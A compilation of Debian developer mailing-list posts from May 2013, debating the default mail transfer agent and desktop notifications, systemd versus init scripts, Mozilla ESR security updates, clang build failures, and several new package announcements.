  Version : 2.1
  Upstream Author : Greg Ridgeway gr...@rand.org
* URL : http://cran.r-project.org/web/packages/gbm/index.html
* License : GPL (= 2) 
  Programming Lang: C++, R
  Description : GNU R package Generalized Boosted Regression Models

  r-cran-gbm is a CRAN package. The CRAN description of the package
  follows:

  This package implements extensions to Freund and Schapire's AdaBoost
  algorithm and Friedman's gradient boosting machine. Includes
  regression methods for least squares, absolute loss, t-distribution
  loss, quantile regression, logistic, multinomial logistic, Poisson,
  Cox proportional hazards partial likelihood, AdaBoost exponential
  loss, Huberized hinge loss, and Learning to Rank measures
  (LambdaMart).


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Re: default MTA

2013-05-29 Thread Javier Fernandez-Sanguino
On 28 May 2013 19:10, Matthias Klumpp matth...@tenstral.net wrote:
 Would it help if we had a desktop-component, which is able to:
  1) Show a notification *on the desktop* if the user received new mail
  2) Offer a GUI way to read system mails
  3) Offer a way to delete these mails

Instead of adding *another* desktop component. Wouldn't it be better
to have the standard desktop e-mail reader [0] configured to read
local e-mail from the start?

Since the e-mail reader would be already nicely integrated into the
Desktop it already provides 1, 2 and 3.

 The advantage would be that these mails would be read more often,
 while on a system configured for desktop-use, no such mails would be
 send, so the users wouldn't be bothered with it.

I agree that we need to expose local e-mail more. Even end-users might
install some tools and will not receive any notification from them
unless they have their desktop e-mail client configured to read local
e-mail.

Take for example, smartmoontools [1]. Currently, if an end-user
installs smartmoontools and a hard-disk fails (i.e. smartd detects a
problem with one HD) he will *not* see any notification: the failure
is sent through local e-mail.


Regards

Javier

[0] Is there such a thing? ;-)

[1]  I'm picking this package since it is installed by  ~24% of the
systems reporting to popcon. Which, on a quick review, seems to be
higher than other tools using cron and reporting through e-mail.

The popcon stats do not tell me whether the systems with, e.g. gnome,
installed have also smartmoontools installed, but let's make the
assumption that some do :)


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Re: default MTA

2013-05-29 Thread Josselin Mouette
Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
écrit : 
 Take for example, smartmoontools [1]. Currently, if an end-user
 installs smartmoontools and a hard-disk fails (i.e. smartd detects a
 problem with one HD) he will *not* see any notification: the failure
 is sent through local e-mail.

He will see a notification on his desktop. Clear, understandable and
translated in his configured language:
https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
(The code is different but already here in squeeze and wheezy.)

I don’t see why he would need to see it again in a cryptic English
e-mail. You are really looking for a solution to a nonexistent problem.

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Re: default MTA

2013-05-29 Thread Matthias Klumpp
2013/5/29 Javier Fernandez-Sanguino j...@debian.org:
 On 28 May 2013 19:10, Matthias Klumpp matth...@tenstral.net wrote:
 Would it help if we had a desktop-component, which is able to:
  1) Show a notification *on the desktop* if the user received new mail
  2) Offer a GUI way to read system mails
  3) Offer a way to delete these mails

 Instead of adding *another* desktop component. Wouldn't it be better
 to have the standard desktop e-mail reader [0] configured to read
 local e-mail from the start?

 Since the e-mail reader would be already nicely integrated into the
 Desktop it already provides 1, 2 and 3.
Yes, if there is one, it should be used. But I was thinking that
receiving local mail in their mail clients from their own system might
be very confusing to users, because they are used to the fact that the
system shows them notifications *on the desktop*, instead of writing
them mails. Also, there might be the case where no local mail reader
exists, because users prefer to read mails in a webmailer, for
example.
Cheers,
Matthias


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Re: default MTA

2013-05-29 Thread Javier Fernandez-Sanguino
On 29 May 2013 17:11, Josselin Mouette j...@debian.org wrote:
 Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
 écrit :
 He will see a notification on his desktop. Clear, understandable and
 translated in his configured language:
 https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
 (The code is different but already here in squeeze and wheezy.)

I'm happy to see this use case is covered in GNOME.

 I don’t see why he would need to see it again in a cryptic English
 e-mail. You are really looking for a solution to a nonexistent problem.

Smartmontools is not the only tool that uses sendmail to send alert to
the user. The problem still exists, even if the example I provided
has already been fixed for, at least, GNOME users. (I wonder whether
similar code is there for KDE or Xfce users)

Regards

Javier


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Re: default MTA

2013-05-29 Thread Javier Fernandez-Sanguino
On 29 May 2013 17:12, Matthias Klumpp matth...@tenstral.net wrote:
 2013/5/29 Javier Fernandez-Sanguino j...@debian.org:
 On 28 May 2013 19:10, Matthias Klumpp matth...@tenstral.net wrote:
 Would it help if we had a desktop-component, which is able to:
  1) Show a notification *on the desktop* if the user received new mail
  2) Offer a GUI way to read system mails
  3) Offer a way to delete these mails

 Instead of adding *another* desktop component. Wouldn't it be better
 to have the standard desktop e-mail reader [0] configured to read
 local e-mail from the start?

 Since the e-mail reader would be already nicely integrated into the
 Desktop it already provides 1, 2 and 3.
 Yes, if there is one, it should be used. But I was thinking that
 receiving local mail in their mail clients from their own system might
 be very confusing to users, because they are used to the fact that the
 system shows them notifications *on the desktop*, instead of writing
 them mails. Also, there might be the case where no local mail reader
 exists, because users prefer to read mails in a webmailer, for
 example.

I agree that desktop notification is the way to go, but while we get
there the local mail in their mail clients is the best option we have.
Certainly best than not getting any notification at all.

The no local mail reader installed case is not a common case, since
users installing a default desktop will get it. IMHO we should strive
to fix the issue in the default installation (regardless of desktop
selected).

Best regards

Javier


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Bug#710296: ITP: maple-latex -- LaTeX packages, environments and macros distributed by Maple

2013-05-29 Thread Jerome Benoit
Package: wnpp
Severity: wishlist
Owner: Jerome Benoit calcu...@rezozer.net

* Package name: maple-latex
  Version : 0.0.1
  Upstream Author : Waterloo Maple Inc.
* URL : http://www.maplesoft.com
* License : ad hoc Waterloo Maple Inc. license
  Programming Lang: TeX/LaTeX
  Description : LaTeX packages, environments and macros distributed by Maple

Maple is a commercial Computer Algebra System (CAS) manufactured by the
Canadian software company MapleSoft, a division of Waterloo Maple Inc..

This package contains the LaTeX packages, environments and macros used
in the Maple to LaTeX documents produced by Maple as documented into
the Maple online help system.


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Re: default MTA

2013-05-29 Thread Andrei POPESCU
On Mi, 29 mai 13, 17:36:31, Javier Fernandez-Sanguino wrote:
 
 The no local mail reader installed case is not a common case, since
 users installing a default desktop will get it. 

... but never start it if they think (like so many users now) that
e-mail == webmail.

I think forwarding root mail to a real e-mail account configured during 
install (with proper warnings that it might contain sensitive data) is 
the way to go.

Kind regards,
Andrei
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Re: Debian systemd survey

2013-05-29 Thread Russ Allbery
Marc Haber mh+debian-de...@zugschlus.de writes:
 Russ Allbery r...@debian.org wrote:

 (The shading of meaning between those two options could be clearer.  I
 took it as a measure of enthusiasm and personally answered I welcome
 systemd in Debian because, regardless of whether it becomes the
 default, I'm happy to provide systemd unit files for my packages.

 Would you also be happy to test and support both systemd unit files
 _and_ init scripts?

I'm happy to provide both, integrate patches, etc., although I think init
scripts are awful and my level of personal motivation to work on init
scripts compared to anything else (whether it be systemd or upstart or
whatever else someone might invent) is quite low.

I expect that as soon as we have a fully supported init system in Debian
that supports a sane daemon configuration syntax instead of a mass of
unreadable shell code, I will switch all of my systems to it and never
look back.  Therefore, I can't promise testing of init scripts going
forward, but I'm certainly not going to stand in the way of anyone who
wants to maintain them and contribute improvements.

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Bug#710302: ITP: neurosynth -- Large-scale synthesis of functional neuroimaging data

2013-05-29 Thread Yaroslav Halchenko
Package: wnpp
Severity: wishlist
Owner: Yaroslav Halchenko deb...@onerussian.com

* Package name: neurosynth
  Version : 0.3.0 (to be released)
  Upstream Author : Tal Yarkoni tyark...@gmail.com
* URL : http://neurosynth.org
* License : MIT/X
  Programming Lang: Python
  Description : Large-scale synthesis of functional neuroimaging data

NeuroSynth is a platform for large-scale, automated synthesis of functional
magnetic resonance imaging (fMRI) data extracted from published articles.  This
Python module at the moment provides functionality for processing the database
of collected terms and spatial coordinates to generate associated spatial
statistical maps.


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[clang] Report bugs on packages failing to build with clang

2013-05-29 Thread Sylvestre Ledru
Hello,

With the recent setup of the parallel build infrastructure using clang
instead of gcc [1], I would like to start to report
bugs on packages failing to build with clang (with patches if possible).
The severity would be minor.
Of course, I would do that only when the issue is upstream [2].

Any comments ?

Cheers,
Sylvestre

[1] See http://buildd-clang.debian.net/
and
http://sylvestre.ledru.info/blog/2013/05/06/follow_up_on_debian_aamp_clang
[2] For example:
http://clang.debian.net/status.php?version=3.2key=FUNCTION_RETURNS_VALUE


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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Willi Mann
Hello Moritz,

Moritz Muehlenhoff wrote:
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security.

wouldn't it be better to do the bumps of major ESR versions in point 
releases? That might also allow a few more extensions to be updated.

 However, there's not much we can do here. We can select a narrow (!)
 set of important addons (e.g. enigmail for Icedove) that we will

Enigmail is definitly requiring an update for ESR 17 in wheezy. When should 
I have a package ready and where should I upload it?

Greetings,
WM



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Re: [clang] Report bugs on packages failing to build with clang

2013-05-29 Thread Paul Tagliamonte
On Wed, May 29, 2013 at 07:05:18PM +0200, Sylvestre Ledru wrote:
 Hello,
 
 With the recent setup of the parallel build infrastructure using clang
 instead of gcc [1], I would like to start to report
 bugs on packages failing to build with clang (with patches if possible).
 The severity would be minor.
 Of course, I would do that only when the issue is upstream [2].
 
 Any comments ?

I am, of course, biased. I do, however think this would be a good move
for Debian on the whole, and will help with such an effort.

Cheers,
  Paul

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Re: optimizing PNGs

2013-05-29 Thread Don Armstrong
On Wed, 29 May 2013, Bastien ROUCARIES wrote:
 On Wed, May 29, 2013 at 9:49 AM, Bastien ROUCARIES
 roucaries.bast...@gmail.com wrote:
  not sure about svgz... On a typical svg file:
  -rw-r--r-- 1 bastien bastien 452K mai   28 18:48 display-im6.svg
  -rw-r--r-- 1 bastien bastien 103K mai   28 18:48 display-im6.svg.gz
  -rw-r--r-- 1 bastien bastien 297K mai   29 09:42 optimised.svg
  -rw-r--r-- 1 bastien bastien  81K mai   29 09:43 optimised.svg.gz
  -rw-r--r-- 1 bastien bastien 289K mai   29 09:50 scour.svg
  -rw-r--r-- 1 bastien bastien  90K mai   29 09:51 scour.svg.gz
 
 With a lossy (decimal truncation to 3) the saving are even more important:
 -rw-r--r-- 1 bastien bastien 234K mai   29 09:52 scour.svg
 -rw-r--r-- 1 bastien bastien  54K mai   29 09:53 scour.svg.gz

Right. So SVGZ is smaller than just scour, and both is smaller than just
SVGZ by about 10-20% unless you do a lossy conversion.


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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Josh Triplett
Moritz Muehlenhoff wrote:
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security.

Very welcome news.

 One problematic aspect are the various xul-ext-* packages currently
 packaged. It's very likely that some of them will break with ESR17
 and ESR24 in the future.

 However, there's not much we can do here. We can select a narrow (!)
 set of important addons (e.g. enigmail for Icedove) that we will
 keep in sync through stable-security, but that doesn't scale for
 the full scale of Mozilla extensions currently packaged.

 In the future the majority of packages should thus rather be installed
 through http://addons.mozilla.org instead of Debian packages.

As a user of sid who also maintains various systems running stable, I
rely on packages like xul-ext-adblock-plus to make it easier to install
specific addons systemwide.  I find it much easier to install those via
the Debian packaging system rather than a user-level mechanism that
involves running Firefox as one or more target users (or more likely
doing the equivalent of creating a xul-ext-* package for local use).  I
realize that you can't maintain the full library of Firefox addons as
packages, but I'm hoping that some of the most common and popular ones
stick around and stay up to date, notably Adblock Plus, HTTPS
Everywhere, and It's All Text.

- Josh Triplett


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Re: default MTA

2013-05-29 Thread Bernd Zeimetz
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 Now that we are done with systemd for the time being, can we have the flame
 war about replacing Exim with Postfix as the default MTA?

Look into the archives, we had that often enough.

 Are there any objections other than but I like it this way!?

Are there new reasons other that 'I don't like it this way' ?


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Re: default MTA

2013-05-29 Thread Bernd Zeimetz
On 05/28/2013 06:27 PM, Thomas Goirand wrote:
 On 05/28/2013 10:24 PM, Josselin Mouette wrote:
 Just like for the MIME support mess, the damage is already done. Nobody,
 I repeat, nobody, ever reads local mail on most desktop systems, and
 even many server systems.
 
 The question you have to ask yourself is: why?
 
 The answer is simple: because we don't provide an easy way to have it
 configured correctly by default. That is the problem to solve, and
 nothing else, IMHO.

That would be easy to fix by having the local mailbox automatically added when a
user starts icedove or $fav_mua


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Re: optimizing PNGs

2013-05-29 Thread Adam Borowski
On Wed, May 29, 2013 at 11:04:22AM -0700, Don Armstrong wrote:
 On Wed, 29 May 2013, Bastien ROUCARIES wrote:
  On Wed, May 29, 2013 at 9:49 AM, Bastien ROUCARIES
  roucaries.bast...@gmail.com wrote:
   not sure about svgz... On a typical svg file:
   -rw-r--r-- 1 bastien bastien 452K mai   28 18:48 display-im6.svg
   -rw-r--r-- 1 bastien bastien 103K mai   28 18:48 display-im6.svg.gz
   -rw-r--r-- 1 bastien bastien 297K mai   29 09:42 optimised.svg
   -rw-r--r-- 1 bastien bastien  81K mai   29 09:43 optimised.svg.gz
   -rw-r--r-- 1 bastien bastien 289K mai   29 09:50 scour.svg
   -rw-r--r-- 1 bastien bastien  90K mai   29 09:51 scour.svg.gz
  
  With a lossy (decimal truncation to 3) the saving are even more important:
  -rw-r--r-- 1 bastien bastien 234K mai   29 09:52 scour.svg
  -rw-r--r-- 1 bastien bastien  54K mai   29 09:53 scour.svg.gz
 
 Right. So SVGZ is smaller than just scour, and both is smaller than just
 SVGZ by about 10-20% unless you do a lossy conversion.

You forgot to put that SVGZ file through advdef or zopfli :p  Deflate
compression again.

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Re: default MTA

2013-05-29 Thread Adam Borowski
On Wed, May 29, 2013 at 05:11:35PM +0200, Josselin Mouette wrote:
 Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
 écrit : 
  Take for example, smartmoontools [1]. Currently, if an end-user
  installs smartmoontools and a hard-disk fails (i.e. smartd detects a
  problem with one HD) he will *not* see any notification: the failure
  is sent through local e-mail.
 
 He will see a notification on his desktop. Clear, understandable and
 translated in his configured language:
 https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
 (The code is different but already here in squeeze and wheezy.)

What you propose requires:
* adding desktop environment specific code to every facility that may need
  to send notifications
* adding such notifications to every other desktop environment
* coming up with a way to send such notifications remotely

All of that is already solved by e-mail.

 I don’t see why he would need to see it again in a cryptic English
 e-mail.

Messages can be translated, you know.

 You are really looking for a solution to a nonexistent problem.

I wouldn't call important system messages not getting delivered a
nonexistant problem -- this tends to end up with serious data loss.  And the
solution exists for  30 years, there's no point in NIH alternatives.

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Re: systemd .service file conversion

2013-05-29 Thread Wouter Verhelst
On 27-05-13 21:56, Josselin Mouette wrote:
 Le lundi 27 mai 2013 à 09:13 +0200, Ondřej Surý a écrit : 
 I would be quite happy to write service files for two (systemd,
 upstart) or three (systemd, upstart, openrc) of those in all my
 packages[*], if it stops the endless flamewar here. I would also be
 happy to have the requirement to support two (or three) of them in the
 Debian policy.
 
 This kind of madness is precisely described here:
 http://www.redhat.com/archives/rhl-devel-list/2008-January/msg00861.html
[zillionth link to linux is not about choice mail]

It is also true that Debian doesn't work in the same way that
RedHat/Fedora do.

At RedHat, traditionally you have a predefined choice made by some core
committee who picks one option, and the rest of the community has to
deal with it. The advantage is that they usually don't have the same
kind of flamewars and TC decisions that we need to deal with, but the
disadvantage of that method is that the choice which is made may not be
the best.

At Debian, traditionally we support more than one choice (at least for a
while), until the community at large decides that option X is the best
one (and then we drop support for all the other options). The downside
of that is that it takes a lot longer for us to make a choice, but
eventually you usually get the better option.

The only reason why we seem to be unable to do so this time is that some
people claim the sky will fall if we don't make a choice NOW!!1!

I think it makes perfect sense for us to support systemd, openrc, and
upstart, at least for the time being; I doubt we'll continue supporting
all three options until the end of times, but we don't have to do that.
At any rate, we *need* to support multiple options for our non-Linux
ports, too, so this wouldn't be a lost effort.

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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Moritz Mühlenhoff
Arno Töll a...@debian.org schrieb:
 This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
 --enigD8B4E48BF27B74A11F1ECB8F
 Content-Type: text/plain; charset=ISO-8859-1
 Content-Transfer-Encoding: quoted-printable

 On 29.05.2013 15:15, Ansgar Burchardt wrote:
 I would expect some more packages giving us similar problems in the
 future: other web browsers (chromium) or web applications (owncloud?)
 where we might have to provide new upstream versions that require
 updating related packages (or breaking them).

 + MySQL (in particular).

MySQL isn't comparable. While the horribly disclosure policy of Oracle
forces us to update to new upstream releases, there are no additional
packages dependant on MySQL version bumps. Plus, the 5.1.x and 5.5.x
series are maintained far longer than a Firefox ESR series.

Cheers,
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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Moritz Mühlenhoff
Willi Mann foss...@wm1.at schrieb:
 Hello Moritz,

 Moritz Muehlenhoff wrote:
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security.

 wouldn't it be better to do the bumps of major ESR versions in point 
 releases? That might also allow a few more extensions to be updated.

We need to release the security updates when ready and cannot realistically
align the point releases with Mozilla releases.

 However, there's not much we can do here. We can select a narrow (!)
 set of important addons (e.g. enigmail for Icedove) that we will

 Enigmail is definitly requiring an update for ESR 17 in wheezy. When should 
 I have a package ready and where should I upload it?

We'll deal with Iceweasel first. We'll let you know when an icedove package
is ready.

Cheers,
   Moritz


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Re: default MTA

2013-05-29 Thread Russ Allbery
Adam Borowski kilob...@angband.pl writes:

 What you propose requires:
 * adding desktop environment specific code to every facility that may need
   to send notifications
 * adding such notifications to every other desktop environment
 * coming up with a way to send such notifications remotely

 All of that is already solved by e-mail.

Except it's *not* solved by email because the email doesn't go anywhere
useful for many users.  I'm a fairly sophisticated UNIX user and I have
still had failures that I didn't know about for months because I had some
problem with my nullmailer configuration, usually because I set it up once
and never thought to check it again when something about my upstream SMTP
server changed.  I never read mail or see any local mail on most of my
systems; I only read mail from one place.  And that's from someone who
knows enough to set up nullmailer and direct the mail somewhere hopefully
useful in the first place.

Add to that the authenticated SMTP problem (IMO, storing user passwords in
an unencrypted system configuration file is simply wrong from a security
standpoint and should never be done) and I really question whether email
notifications are this panacea that you perceive.

This is also not how any other end-user system works.  If there's some
problem, the (quite reasonable) end user expectation is that the system
tells you via some more direct method.

Having email as an option is mandatory for servers and for sophisticated
users, but for a desktop configuration I agree that some other
notification method would be quite desirable and much better-suited to the
needs of the typical desktop user.  It does need to have certain
properties that I'm not sure the current notifications have, such as
persistence until acknowledgement and the ability to handle cron errors,
but those seem like good things for us to work on.

 I wouldn't call important system messages not getting delivered a
 nonexistant problem -- this tends to end up with serious data loss.

That's exactly the point, and is why I would prefer not to write those
notifications into a file that no one ever looks at.  (Which is why I
don't find sending them to syslog much more appealing, since the average
desktop user is never going to look there either.)

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Re: default MTA

2013-05-29 Thread Marc Haber
On Wed, 29 May 2013 16:07:18 +0200, Javier Fernandez-Sanguino
j...@debian.org wrote:
On 28 May 2013 13:05, Josselin Mouette j...@debian.org wrote:
 And on desktop systems, nobody reads local email. We might want to think
 of a better notification system, but email is definitely not fit for
 that anymore.

On desktop systems nobody reads local email because IIRC the default
email client applications do not present local email to the end-user.
Only when somebody configures, post-installation, is this local e-mail
visible.

So we should provide means so that any newly-installed MUA sees the
local mail of the system first. 

But, alas, people are going to report every single mail in the local
mailbox als Spam to their ISP.

I'm not saying that email is a good notification system, but there are
definitely currently many sub-systems that use it (such as cron and
default cron tasks configured through packages). Not presenting this
information to the end-user is actually hiding problems.

Yes. And many systems have intermittent connectivity, which rules out
non-queueing mini-MTAs. Exim does the Job pretty well, and people who
know what an MTA is will probably install their own anyway, so there
is no need to change.

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Re: Debian systemd survey

2013-05-29 Thread Marc Haber
On Wed, 29 May 2013 09:30:47 -0700, Russ Allbery r...@debian.org
wrote:
Marc Haber mh+debian-de...@zugschlus.de writes:
 Would you also be happy to test and support both systemd unit files
 _and_ init scripts?

I'm happy to provide both, integrate patches, etc., although I think init
scripts are awful and my level of personal motivation to work on init
scripts compared to anything else (whether it be systemd or upstart or
whatever else someone might invent) is quite low.

That is one of my concerns: Once Debian GNU/Linux has systemd as
default, noone will an longer provide init scripts, let alone tested
init scripts, which will severely hurt non-Linux kernels in Debian.

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Re: default MTA

2013-05-29 Thread Thomas Goirand
On 05/29/2013 11:32 PM, Javier Fernandez-Sanguino wrote:
 On 29 May 2013 17:11, Josselin Mouette j...@debian.org wrote:
  Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
  écrit :
  He will see a notification on his desktop. Clear, understandable and
  translated in his configured language:
  https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
  (The code is different but already here in squeeze and wheezy.)
 I'm happy to see this use case is covered in GNOME.

Me as well.

Though not everyone uses GNOME (someone pointed out earlier in this list
that we have more than 40 window managers in Debian!), and it is
desirable, IMO, to also handle their use case.

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Re: [clang] Report bugs on packages failing to build with clang

2013-05-29 Thread Michael Tautschnig
 Hello,
 
 With the recent setup of the parallel build infrastructure using clang
 instead of gcc [1], I would like to start to report
 bugs on packages failing to build with clang (with patches if possible).
 The severity would be minor.
 Of course, I would do that only when the issue is upstream [2].
 
 Any comments ?
 
[...]

I think this will likely improve code quality, hence I'm much in favour of this,
in particular when it comes to outright bugs. But a non-negligible fraction of
the build failures, I believe, are due to the use of nested functions. This
could well be considered design decisions when used intentionally (unlike, e.g.,
[684508], where I have already filed a bug). I'm not sure whether upstream will
be very keen on such bug reports?

Best,
Michael

[684508] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=684508



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Re: default MTA

2013-05-29 Thread Andrei POPESCU
On Mi, 29 mai 13, 21:52:04, Marc Haber wrote:
 
 Yes. And many systems have intermittent connectivity, which rules out
 non-queueing mini-MTAs. Exim does the Job pretty well, and people who
 know what an MTA is will probably install their own anyway, so there
 is no need to change.

Exim is a listening daemon, even if it listens only on localhost in the 
default configuration. I'd prefer dma instead.

Kind regards,
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Re: Debian systemd survey

2013-05-29 Thread Russ Allbery
Marc Haber mh+debian-de...@zugschlus.de writes:
 Russ Allbery r...@debian.org wrote:

 I'm happy to provide both, integrate patches, etc., although I think
 init scripts are awful and my level of personal motivation to work on
 init scripts compared to anything else (whether it be systemd or
 upstart or whatever else someone might invent) is quite low.

 That is one of my concerns: Once Debian GNU/Linux has systemd as
 default, noone will an longer provide init scripts, let alone tested
 init scripts, which will severely hurt non-Linux kernels in Debian.

Yes, that's one of the risks of not managing to port one of the other init
systems to non-Linux kernels.

We are, in general, not going to get people to work on things they don't
want to work on, and init scripts are awful and long-overdue for being
replaced.  I think some of the burden is going to have to be born by the
Debian porters for platforms for which there's currently nothing better
available, whether by porting something better, developing some conversion
process for one of the other formats, or maintaining the init scripts in
other packages and submitting patches.  I will promise to review and
integrate such patches promptly, similar to how I've tried to review and
integrate patches for Hurd support.

Using an imperative language for a descriptive purpose is a bad mismatch
of tools and has been ever since the practical effect of init scripts has
become fairly standardized.  We need to switch to a descriptive language;
we will gain huge maintainability benefits and will have far fewer bugs of
the type that have plagued init scripts for decades: bad shell error
handling, incorrect handling of unusual cases involving half-stopped
daemons, inconsistent PID handling, stopping unrelated binaries with the
same executable name, and so on, all of which are avoidable but only if
you're very careful and know what you're doing or get lucky when
translating opaque and obscure templates.

I definitely do *not* agree with breaking systems that use shell init
scripts proactively, but shell init scripts are so inferior to any
descriptive replacement that I agree with you they're likely to bitrot if
left solely to the maintenance of the average Debian packager, who will
probably quickly embrace something easier to maintain and stop paying
attention to them.

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Re: default MTA

2013-05-29 Thread Ben Hutchings
On Wed, May 29, 2013 at 09:06:59PM +0200, Adam Borowski wrote:
 On Wed, May 29, 2013 at 05:11:35PM +0200, Josselin Mouette wrote:
  Le mercredi 29 mai 2013 à 16:31 +0200, Javier Fernandez-Sanguino a
  écrit : 
   Take for example, smartmoontools [1]. Currently, if an end-user
   installs smartmoontools and a hard-disk fails (i.e. smartd detects a
   problem with one HD) he will *not* see any notification: the failure
   is sent through local e-mail.
  
  He will see a notification on his desktop. Clear, understandable and
  translated in his configured language:
  https://git.gnome.org/browse/gnome-disk-utility/tree/src/notify/gdusdmonitor.c
  (The code is different but already here in squeeze and wheezy.)
 
 What you propose requires:
 * adding desktop environment specific code to every facility that may need
   to send notifications
 * adding such notifications to every other desktop environment

Wrong, we already have org.freedesktop.Notifications in GNOME,
KDE and Xfce.  So those two points become:

* adding cross-desktop code to every facility that may need to send
  notifications
* adding a notification daemon to task-lxde

There are libraries to help with the first point, of course.

 * coming up with a way to send such notifications remotely
 
 All of that is already solved by e-mail.
[...]

Except the bit where users actually see the messages.

(For what it's worth, I'm quite happy to receive notifications by mail
and I configure forwarding to a smarthost, but it's currently not as
easy as it should be to do that and make it secure.)

Ben.

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Re: Switching to mozilla ESR in stable-security

2013-05-29 Thread Philip Hands
Moritz Mühlenhoff j...@inutil.org writes:

 Willi Mann foss...@wm1.at schrieb:
 Hello Moritz,

 Moritz Muehlenhoff wrote:
 As such, we'll switch to releasing the ESR releases of iceweasel
 and icedove in stable-security.

 wouldn't it be better to do the bumps of major ESR versions in point 
 releases? That might also allow a few more extensions to be updated.

 We need to release the security updates when ready and cannot realistically
 align the point releases with Mozilla releases.

Does this perhaps indicate that these packages are not really suitable
for stable, and should instead be provided via backports or some similar
mechanism (i.e. a mozilla-bikeshed[1])?

Cheers, Phil.

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Re: default MTA

2013-05-29 Thread Chris Knadle
On Wednesday, May 29, 2013 16:12:39, Andrei POPESCU wrote:
 On Mi, 29 mai 13, 21:52:04, Marc Haber wrote:
  Yes. And many systems have intermittent connectivity, which rules out
  non-queueing mini-MTAs. Exim does the Job pretty well, and people who
  know what an MTA is will probably install their own anyway, so there
  is no need to change.
 
 Exim is a listening daemon, even if it listens only on localhost in the
 default configuration. I'd prefer dma instead.

Exim has options not to run a listening daemon.  From /etc/default/exim4:


# 'combined' -   one daemon running queue and listening on SMTP port
# 'no'   -   no daemon running the queue
# 'separate' -   two separate daemons
# 'ppp'  -   only run queue with /etc/ppp/ip-up.d/exim4.
# 'nodaemon' - no daemon is started at all.
# 'queueonly' - only a queue running daemon is started, no SMTP listener.
# setting this to 'no' will also disable queueruns from /etc/ppp/ip-up.d/exim4
QUEUERUNNER='combined'


The 'queueonly' option has a daemon that processes the queue for mail sent 
locally via 'sendmail', yet has no listening port at all.

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Re: default MTA

2013-05-29 Thread Russ Allbery
Andrei POPESCU andreimpope...@gmail.com writes:
 On Mi, 29 mai 13, 21:52:04, Marc Haber wrote:

 Yes. And many systems have intermittent connectivity, which rules out
 non-queueing mini-MTAs. Exim does the Job pretty well, and people who
 know what an MTA is will probably install their own anyway, so there is
 no need to change.

 Exim is a listening daemon, even if it listens only on localhost in the 
 default configuration. I'd prefer dma instead.

It's better to have a listening daemon on localhost.  There's no security
threat, and there's some software that can't handle invoking a sendmail
binary and always wants to speak SMTP to some port.  I've run into this
with both Java and PHP applications.  This is, of course, possible to fix,
but I can understand why Java programmers aren't thrilled by the idea of
adding UNIX-specific code to fork and execute a program (which is
something that you generally don't want to do in Java, since it's very
expensive, and which is not portable), and similarly why web developers
aren't enthused by fork and exec in a mod_php or similar context inside a
possibly threaded web server.

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Bug#710324: ITP: staden -- set of DNA sequence assembly, editing and analysis tools

2013-05-29 Thread Jonas Smedegaard
Package: wnpp
Severity: wishlist
Owner: Jonas Smedegaard d...@jones.dk

* Package name: staden
  Version : 2.0.0b9
  Upstream Author : Medical Research Council, Laboratory of Molecular Biology
* URL : http://staden.sourceforge.net/
* License : unknown (need to be resolved, obviously, before releasing)
  Programming Lang: C, C++, Tcl
  Description : set of DNA sequence assembly, editing and analysis tools

 This is the Staden package, a collection of sequence handling and
 analysis software.
 .
 Gap4 performs sequence assembly, contig ordering based on read pair
 data, contig joining based on sequence comparisons, assembly checking,
 repeat searching, experiment suggestion, read pair analysis and contig
 editing. It has graphical views of contigs, templates, readings and
 traces which all scroll in register. Contig editor searches and
 experiment suggestion routines use confidence values to calculate the
 confidence of the consensus sequence and hence identify only places
 requiring visual trace inspection or extra data. The result is
 extremely rapid finishing and a consensus of known accuracy.
 .
 Pregap4 provides a graphical user interface to set up the processing
 required to prepare trace data for assembly or analysis, and automates
 these processes.
 .
 Trev is a rapid and flexible viewer and editor for ABI, ALF, SCF and
 ZTR trace files.
 .
 Prefinish analyses partially completed sequence assemblies and suggests
 the most efficient set of experiments to help finish the project.
 .
 Tracediff and hetscan automatically locate mutations by comparing trace
 data against reference traces. They annotate the mutations found ready
 for viewing in gap4.
 .
 Spin analyses nucleotide sequences to find genes, restriction sites,
 motifs, etc. It can perform translations, find open reading frames,
 count codons, etc. Many results are presented graphically and a sliding
 sequence window is linked to the graphics cursor. Spin also compares
 pairs of sequences in many ways. It has very rapid dot matrix analysis,
 global and local alignment algorithms, plus a sliding sequence window
 linked to the graphical plots. It can compare nucleic acid against
 nucleic acid, protein against protein, and protein against nucleic
 acid.


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Re: default MTA

2013-05-29 Thread Chris Knadle
On Wednesday, May 29, 2013 15:46:15, Russ Allbery wrote:
 Adam Borowski kilob...@angband.pl writes:
  What you propose requires:
  * adding desktop environment specific code to every facility that may
  need
  
to send notifications
  
  * adding such notifications to every other desktop environment
  * coming up with a way to send such notifications remotely
  
  All of that is already solved by e-mail.
 
 Except it's *not* solved by email because the email doesn't go anywhere
 useful for many users.

Yes, unfortunately.  :-/

...
 Add to that the authenticated SMTP problem (IMO, storing user passwords in
 an unencrypted system configuration file is simply wrong from a security
 standpoint and should never be done)

For Exim I've been setting up a separate SMTP AUTH login for each machine so 
that these logins are separate from real user logins and can be individually 
revoked if needed.  I don't like the fact that the /etc/exim4/passwd.client 
file is in a plaintext format, but there are usually several such files on 
systems such that realistically we're only really safe as long as the 
machines we run haven't been broken into.

 This is also not how any other end-user system works.  If there's some
 problem, the (quite reasonable) end user expectation is that the system
 tells you via some more direct method.
 
 Having email as an option is mandatory for servers and for sophisticated
 users, but for a desktop configuration I agree that some other
 notification method would be quite desirable and much better-suited to the
 needs of the typical desktop user.  It does need to have certain
 properties that I'm not sure the current notifications have, such as
 persistence until acknowledgement and the ability to handle cron errors,
 but those seem like good things for us to work on.

